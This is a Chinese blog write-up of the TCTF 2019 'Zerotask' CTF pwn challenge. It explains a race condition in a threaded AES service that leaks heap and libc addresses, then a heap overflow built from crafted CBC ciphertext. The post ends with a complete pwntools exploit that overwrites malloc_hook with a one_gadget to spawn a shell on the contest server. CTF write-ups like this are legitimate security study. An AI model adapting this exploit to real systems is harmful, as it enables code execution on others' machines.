TCTF 2019

作者: Kirin_say | 来源:发表于2019-03-25 20:05 被阅读28次

第一天被llvm卡住了,没搜到源码,理不清内存分配机制,但是利用上只差一步,心态崩了,导致比赛周末只看了两道pwn,星期一上午临时又看了几个发现有的并不是太难,可惜没时间了
感受到做题顺序、查找能力、快速学习的重要性
比赛过程中只做出一道PWN,以后应该会复现其他的

Zerotask

Analyze

程序提供三个功能:

add:添加一个结构体并指明aes加密/解密
delete:清除指定task id的结构体
go:根据指定结构体的信息加解密</pre>

结构体通过链表在堆中存储
内部结构:

0->note_ptr
0x8->size
0x10->mode
0x14->size
0x34->IV
0x58->ctx_ptr
0x60->task_id
0x68->pre_struct

在go的过程中:

printf("Task id : ");
  v1 = sub_1011();
  for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
  {
    if ( v1 == *((_DWORD *)arg + 24) )
    {
      pthread_create(&newthread, 0LL, start_routine, arg);
      return __readfsqword(0x28u) ^ v4;
    }
  }

调用一个新线程处理指定的结构体
跟进start_routine:

v2 = (unsigned __int64)a1;
  v1 = 0;
  v3 = 0LL;
  v4 = 0LL;
  puts("Prepare...");
  sleep(2u);
  memset(qword_202030, 0, 0x1010uLL);
  if ( !(unsigned int)EVP_CipherUpdate(
                        *(_QWORD *)(v2 + 88),
                        qword_202030,
                        &v1,
                        *(_QWORD *)v2,
                        (unsigned int)*(_QWORD *)(v2 + 8)) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  puts("Ciphertext: ");
  sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL);
  pthread_exit(0LL)

其首先获得需要处理的结构体指针,而后会sleep(2)(条件竞争)
因此我们可以在sleep时改写此结构体所在chunk,使其处理我们构造的fake_chunk
因为go操作的三次限制,所以我的思路:
leak heap:首先go启动,在sleep过程中进行free chunk等操作,用以获得目标地址因为free产生的堆指针
leak libc:首先构造一个unsorted bin,用以获得指向main arena+88处的指针,而后堆地址已知,利用leak heap相同方法伪造将要处理的chunk即可leak main_arena,即可leak libc
heap overflow:在加解密过程中,程序使用最开始分配的一个0x1010大小的chunk作存储,但是加解密时数据的长度由处理的结构体中的size决定,因此我们可以伪造一个结构体,其中encrypt_code_size大于0x1010,并且指向我们在内存中构造的一串数据,此数据code需要满足
aes_cbc_encrypt(code)=_the_answer_we_want,具体构造过程可以参照cbc模式下加密的特点:

CBC

构造方法参考我之前的文章:

https://kirin-say.top/2019/01/15/EDU%20CTF%202019/#0x02-encrypted-secret

最后选择利用溢出覆盖下一个chunk的size位为0x320,这时候free掉此chunk,此chunk下就会包含另一个0x80大小的chunk造成堆重叠,此时我们申请一个0x318大小的chunk改写包含的0x80的chunk的fd指针到malloc_hook,而后申请一个0x78大小的note,此note即会分配到malloc_hook,覆盖其为one_gadget,再次malloc即可get_shell

EXP:

from pwn import *
from Crypto.Cipher import AES
context.log_level="debug"
import time
def xor(a,b):
    s=""
    for i in range(len(a)):
        s+=chr(ord(a[i])^ord(b[i]))
    return s
def encrypt(message):
    kirin=AES.new(key1,AES.MODE_CBC,key2)
    return kirin.encrypt(message)

def decrypt(message):
    kirin=AES.new(key1,AES.MODE_CBC,key2)
    return kirin.decrypt(message)    

def encrypt2(message):
    kirin=AES.new(key1,AES.MODE_ECB)
    return kirin.encrypt(message)

def decrypt2(message):
    kirin=AES.new(key1,AES.MODE_ECB)
    return kirin.decrypt(message)

def add(ID,mode,key,IV,dsize,note,go=False):
   if  go:
       p.sendline("1")
   else:
       p.sendlineafter("Choice: ","1")
   p.sendlineafter("Task id : ",str(ID))
   p.sendlineafter("Encrypt(1) / Decrypt(2): ",str(mode))
   p.sendafter("Key : ",key)
   p.sendafter("IV : ",IV)
   p.sendlineafter("Data Size : ",str(dsize))
   p.sendafter("Data : ",note)
def delete(ID,go=False):
   if go:
       p.sendlineafter("Prepare...\n","2")
   else:
       p.sendlineafter("Choice: ","2")
   p.sendlineafter("Task id : ",str(ID))
def go(ID):
   p.sendlineafter("Choice: ","3")
   p.sendlineafter("Task id : ",str(ID))
#p=process("./zerotask")
p=remote("111.186.63.201",10001)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
delete(1)
delete(1)
go(1)
delete(1,True)
add(1,1,"a"*32,"a"*16,0x70,"0"*0x60)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(8):
     key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
    message+=chr(int(i,16))
k=decrypt(message)[-24:-18]
heap_addr=u64(k.ljust(8,"\x00"))
chunk=heap_addr+0x555555758ee0-0x555555758280
ctx_addr=heap_addr-0x555555758280+0x00005555557585a0
#leak libc
print hex(heap_addr)
p.send("0"*0x10)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
delete(1)
delete(1)
add(10,1,"a"*32,"a"*16,0x50,"1"*0x50)
#gdb.attach(p)
add(2,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(1)
delete(1,True)
delete(2)
fake=p64(chunk)+p64(0x10)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(2):
     key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
    message+=chr(int(i,16))
k=decrypt(message)
libc_addr=u64(k[:8])
print hex(libc_addr)

fake_encode_addr=heap_addr-0x555555758280+0x555555758520
fake_addr=heap_addr-0x555555758280+0x555555759430
key1="1"*32
key2="1"*16
dest="\x00"*8+p64(0x320)
src="\x00"*0xf00+"\x00"*8+p64(0xf11)+"\x00"*0xf0
magic=encrypt(src)[-16:]
magic2=decrypt2(dest)
s1=xor(magic,magic2)
s2=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),dest)
s3=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),p64(fake_encode_addr)+p64(0x320))
fake_code="\x00"*0xf00+p64(0)+p64(0xf11)
add(5,1,"a"*32,"a"*16,0x200,"\x00"*0x200,True)
add(6,1,"a"*32,"a"*16,0xf00,"\x00"*0xf00)
delete(5)
add(7,1,"a"*32,"a"*16,0xf00,"\x00"*0xf0+s1+s2+s3+"\x00"*(0xf00-0x120))

ctx_addr=heap_addr-0x555555758280+0x000055555575b2d0
add(100,1,"1"*32,"1"*16,0x50,"0"*0x50)
add(9,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(10,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(10)
delete(10,True)
delete(9)
fake=p64(fake_addr)+p64(0x1030)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
time.sleep(2)
for i in range(3):
    delete(1)
delete(10)
malloc_hook=libc_addr-0x7ffff776dca0+0x7ffff776dc30
one_gadget=libc_addr-0x7ffff776dca0+0x7ffff7382000+0x10a38c
add(200,1,"1"*32,"1"*16,0x318,"\x00"*0x2a0+p64(malloc_hook)+"\x00"*(0x318-0x2a8))
add(200,1,"1"*32,"1"*16,0x78,p64(one_gadget)+"\x00"*0x70)
#gdb.attach(p)
p.interactive()

相关文章

  • TCTF 2019

    第一天被llvm卡住了,没搜到源码,理不清内存分配机制,但是利用上只差一步,心态崩了,导致比赛周末只看了两道pwn...

  • TCTF - Elements

    数学忘完了是真的难受 大概跟一下程序,能看出是三角形的判断。下方的公式可以得到一个方程,其中 " 0x391BC2...

  • TCTF Finals 2019 Embedded_heap

    一个月多前写的,其他的没时间复现了 0x01 Embedded_heap Debug Localhost: Exe...

  • TCTF2019 web1

    ghost pepper 访问网站,需要401认证,抓包看一下,发现有realm="karaf",网上搜索一些ka...

  • TCTF Finals in Shanghai

    上海之行结束,又一次感受到自己和master of pwn的差距,细数下来,近半年的比赛好像都没去复现,其...

  • php7的opcache导致的getshell

    以TCTF2018的ezdoor为例 相关WP正解https://github.com/LyleMi/My-CTF...

  • 2019 tctf | pwn wp(未完成)

    zerotask 保护 : full relro | canary | nx | pie libc : libc-...

  • 2019-TCTF Wallbreaker Easy: LD_P

    https://www.yourhome.ren/index.php/sec/612.html 0x01 审题 访...

  • [SUCTF] SUCTF web题目 writeup

    SUCTF 这周末打了suctf,协会的大佬们都去参加tctf了,都没人打pwn了,不过最终成绩还可以不过恭喜协会...

  • TCTF-2020-Chromium-RCE

    题目描述 Enviroment: Ubuntu18.04It’s v8, but it’s not a typic...

网友评论

    本文标题:TCTF 2019

    本文链接:https://www.haomeiwen.com/subject/anubvqtx.html